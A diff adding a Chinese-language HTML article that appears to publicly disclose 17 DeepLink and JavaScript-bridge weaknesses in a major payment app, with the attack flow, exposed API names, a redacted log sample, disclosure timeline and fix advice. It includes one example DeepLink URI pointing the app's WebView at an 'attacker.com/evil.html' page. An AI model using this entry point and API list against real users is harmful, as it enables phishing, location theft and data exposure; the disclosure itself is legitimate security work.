© 2026 Innora AI Security Research. All rights reserved.
diff --git a/wechat_article.html b/wechat_article.html
new file mode 100644
index 0000000..5668aaf
--- /dev/null
+++ b/wechat_article.html
@@ -0,0 +1,382 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 2026年3月7日,我们向某头部支付平台提交了一份包含 17个安全漏洞 的完整研究报告,附带 308 条服务器日志和 42 张真机截图作为证据。
+
+
+ 厂商的回复只有四个字:「正常功能」。
+
+
+ 我们决定公开全部研究成果。
+
+
+
+
+
+
+
+
+ 不需要 Root。不需要越狱。不需要任何特殊权限。
+
+
+ 受害者只需要做一件事 —— 在微信、QQ 或短信中点击一个链接。
+
+
+ 这个链接会通过 DeepLink 协议直接打开目标支付App,在其内置浏览器中加载攻击者的网页。而这个网页,可以调用 App 内部的 JavaScript Bridge 接口 —— 无需任何额外授权。
+
+
+
+
+
+
+
📱 攻击流程:
+
攻击者发送链接 (伪装成红包/活动)
+
↓
+
受害者点击 → 浏览器解析 DeepLink
+
↓
+
支付App自动启动 → 加载攻击者页面
+
↓
+
JSBridge 全部开放 → 数据被窃取
+
+
+
+
+
+
+
+
+
+
🔴 CRITICAL — 严重
+
+ 1. GPS 实时定位窃取
+ 调用 getLocation 接口,静默获取经纬度、城市、国家。当用户曾授予App定位权限时,外部攻击页面可直接获取,不会弹出任何授权提示。
+
+
+ 2. 转账页面预填充
+ 调用 startApp 打开转账功能并预填金额和收款账户。最终确认仍需用户操作,但在 UI 欺骗场景下可诱导用户完成。
+
+
+ 3. 支付接口调用
+ 调用 tradePay 接口可弹出支付确认页。用户取消后返回 resultCode=6001,但攻击者可反复触发,配合 UI 伪装进行钓鱼。
+
+
+
+
+
+
+
+
🟠 HIGH — 高危
+
+ 4. 设备完整指纹
+ 品牌、型号、系统版本、存储、电量、屏幕分辨率、蓝牙/WiFi/摄像头/麦克风授权状态 —— 一次全部泄露。
+
+
+ 5. 标题栏欺骗
+ 调用 setTitle 将标题栏改为「账户安全中心」,配合 Toast 弹窗伪造系统通知。用户无法区分真假界面。
+
+
+ 6. 敏感页面直达
+ 通过 startApp 直接跳转至交易记录、转账联系人、付款码、余额、安全设置、银行卡管理等 11 个敏感页面,无额外确认。
+
+
+
+
+
+
+
+
🔵 MEDIUM — 中危
+
+ 7-9. 网络信息 / 会话泄露 / 服务器时间同步
+ WiFi/蜂窝状态、sessionId、sourcePackageName(知道你从哪来的),以及支付宝服务器精确时间。
+
+
+ 10-13. 链式 WebView / Scheme 注入
+ pushWindow 可以无限打开新页面,每个页面都自动获得完整 JSBridge 权限。还可注入 tel: / sms: 协议触发拨号和短信。
+
+
+ 14-17. 剪贴板操作 / 联系人选择 / 分享劫持
+ 读写剪贴板、弹出联系人选择器、触发分享面板 —— 全部可从外部页面调用。
+
+
+
+
+
+
+
+
+
+
+
+
+ 我们在 3 台不同设备、3 个不同国家 进行了交叉验证:
+
+
+
+
📱 Samsung S25 Ultra — Android 15, 新西兰
+
📱 Redmi 12 — Android 14, 马来西亚
+
📱 iPhone 16 Pro — iOS 18.3, 中国大陆
+
+
+
+ 共获取 308 条 服务器端数据日志,42 张 真机截图。攻击者页面成功从这三台设备上静默获取了 GPS 坐标、设备指纹、网络信息等敏感数据。
+
+
+ 服务器日志示例:
+
+
+
// 真实日志摘录 (已脱敏)
+
{
+
"tag": "GPS_Location",
+
"data": {
+
"latitude": "-36.8***",
+
"longitude": "174.7***",
+
"city": "Auckland",
+
"country": "NZ"
+
},
+
"device": "SM-S938B",
+
"timestamp": "2026-03-07T09:14:22Z"
+
}
+
+
+
+
+
+
+
+
+
+
+
+
+ 2026-02-25 —— 首次报告 (TLS/SSL 发现) → 官方 SRC 邮箱
+
+
+ 2026-03-07 —— 完整 V3 报告 (17漏洞 + 308日志 + 42截图) → 安全联系人
+
+
+ 2026-03-08 —— 厂商回复:「根据我们的评估这些属于正常功能」
+
+
+ 2026-03-11 —— 公开披露
+
+
+
+
+
+
+
+ 我们理解厂商有自己的风险评估标准。但当一个外部网页可以在 App 内静默获取用户 GPS 定位、伪造应用界面进行钓鱼、甚至预填转账信息时,将其定性为「正常功能」,我们无法认同。
+
+
+ 公开披露不是为了对抗,而是为了让更多安全研究人员和用户知情,共同推动问题解决。
+
+
+
+
+
+
+
+
+
+
+
+
+ 我们提供了三个在线 PoC 页面,所有数据仅在本地展示,不会传输至任何服务器:
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 我们完全遵循了负责任披露流程 —— 先私下报告,等待厂商响应。厂商明确回复这些是「正常功能」,表示不会修复。
+
+
+ 在这种情况下,公开是唯一能推动改变的方式。我们希望:
+
+
+
1️⃣ 用户知道自己的隐私正在被「正常功能」暴露
+
2️⃣ 安全研究社区可以独立验证我们的发现
+
3️⃣ 厂商重新审视这些问题的严重性
+
4️⃣ 整个行业认真对待 DeepLink 攻击面
+
+
+
+
+
+
+
+
+
+
⚠️ 重要澄清
+
+ 本研究未发现零交互自动扣款漏洞。转账预填充仍需用户手动确认。GPS 获取依赖于用户此前已授予该App定位权限。
+
+
+ 核心风险在于:任何外部HTTPS网页通过 DeepLink 加载后,可以调用大量本应仅限于官方小程序使用的内部接口,且无需额外授权。这将传统钓鱼攻击的杀伤力提升了一个数量级。
+
+
+
+
+
+
+
+
+
+ 攻击的核心入口是 DeepLink URI scheme:
+
+
+
alipays://platformapi/startapp?appId=20000067&url=https://attacker.com/evil.html
+
+
+ 其中 appId=20000067 是内置浏览器组件。任何 HTTPS URL 都可以通过这个方式在 App 的 WebView 容器中打开,而 WebView 会自动注入 AlipayJSBridge 对象,提供 50+ 个内部 API。
+
+
+ 更详细的攻击链分析、每个 API 的调用代码、服务器日志原文,请参阅完整报告。
+
+
+
+
+
+
+
+
+
+
🛡️ 多节点存档(防删除)
+
+ 本研究已在多个独立节点同步发布。如发现任一地址不可访问,请从其他节点获取。
+
+
+
+
+ ⚠️ 请 Fork GitHub 仓库 / 保存页面到本地 / 转发本文,帮助保留证据!
+
+
+
+
+
+
+
+
+
+ 我们同时提供了完整的修复建议方案:
+
+
+
🔒 URL 白名单:仅允许官方域名通过 appId=20000067 加载
+
🔒 JSBridge 分级:外部页面仅开放基础 API,敏感接口需域名+签名验证
+
🔒 DeepLink 确认:外部来源的 DeepLink 必须弹出安全确认弹窗
+
🔒 位置权限:WebView 中的 getLocation 应独立于系统权限,需显式授权
+
🔒 UI 隔离:外部页面禁止 setTitle/toast,或添加不可欺骗的安全标识
+
+
+
+
+
+
+
+
+
+
+ 法律声明:本研究仅用于安全教育目的。所有测试在研究者自有账户和设备上进行,未对第三方账户或数据进行未授权访问。PoC 页面为只读演示,已禁用所有数据外传功能。本研究遵循负责任披露流程,厂商已获得充分时间响应。
+
+
+
+
+
+
+ Innora AI 安全研究团队
+ feng@innora.ai
+ 2026-03-11
+ — END —
+
+
+